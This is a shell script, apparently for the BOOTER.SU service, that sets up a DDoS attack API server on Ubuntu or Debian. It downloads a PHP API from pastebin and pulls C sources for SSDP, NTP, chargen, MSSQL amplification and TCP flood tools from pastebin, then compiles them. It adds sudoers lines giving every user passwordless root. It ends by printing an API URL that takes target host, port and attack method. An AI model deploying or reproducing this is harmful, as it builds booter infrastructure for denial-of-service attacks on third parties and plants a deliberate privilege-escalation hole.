Code:
#!/bin/sh
# BOOTER.SU - Powerful Stress Testing
# Setup Simple DDoS API server for Ubuntu 14.04 / Debian 7
# Copyright (C) 2015-2016 Lucas Yegorov <[email protected]> and contributors
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANT-ABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# 2016-09-19: Updated. Tested with Debian 7
sudo apt-get update
sudo apt-get -y install php5 php5-cgi lighttpd screen libpcap-dev gcc dstat unzip nload wget
sudo lighttpd-enable-mod fastcgi fastcgi-php
sudo service lighttpd force-reload
echo 'www-data ALL=(ALL) ALL' >> /etc/sudoers
echo 'ALL ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
mkdir /var/www/api/ && cd /var/www/api/
wget -q http://pastebin.com/raw/njmk3mF1 -O index.php
echo 'simplekey' >keys.txt
echo "Installing Scripts..."
mkdir /var/www/api/scripts/ && mkdir /var/www/api/amps/ && cd /var/www/api/scripts/
wget -q http://pastebin.com/raw/vpbXuKVA -O ssdp.c && gcc -o ssdp ssdp.c -pthread
wget -q http://pastebin.com/raw/fcyCGWqw -O ntp.c && gcc -o ntp ntp.c -pthread
wget -q http://pastebin.com/raw/Kktvq2pz -O chargen.c && gcc -o chargen chargen.c -pthread
wget -q http://pastebin.com/raw/RsYN9wYs -O mssql.c && gcc -o mssql mssql.c -pthread
wget -q http://pastebin.com/raw/zGVUysHm -O tcp.c && gcc -o tcp tcp.c -pthread
wget -q http://pastebin.com/raw/dR2pEeiq -O dominate.c && gcc -o dominate dominate.c -pthread
rm -rf *.c && cd && clear
echo "-------------"
echo " All done. "
echo "-------------"
echo " API: http://YOUR_HOST_IP/api/?key=simplekey&host=[$host]&port=[$host]&time=[$time]&method=[$method]"
echo "-------------"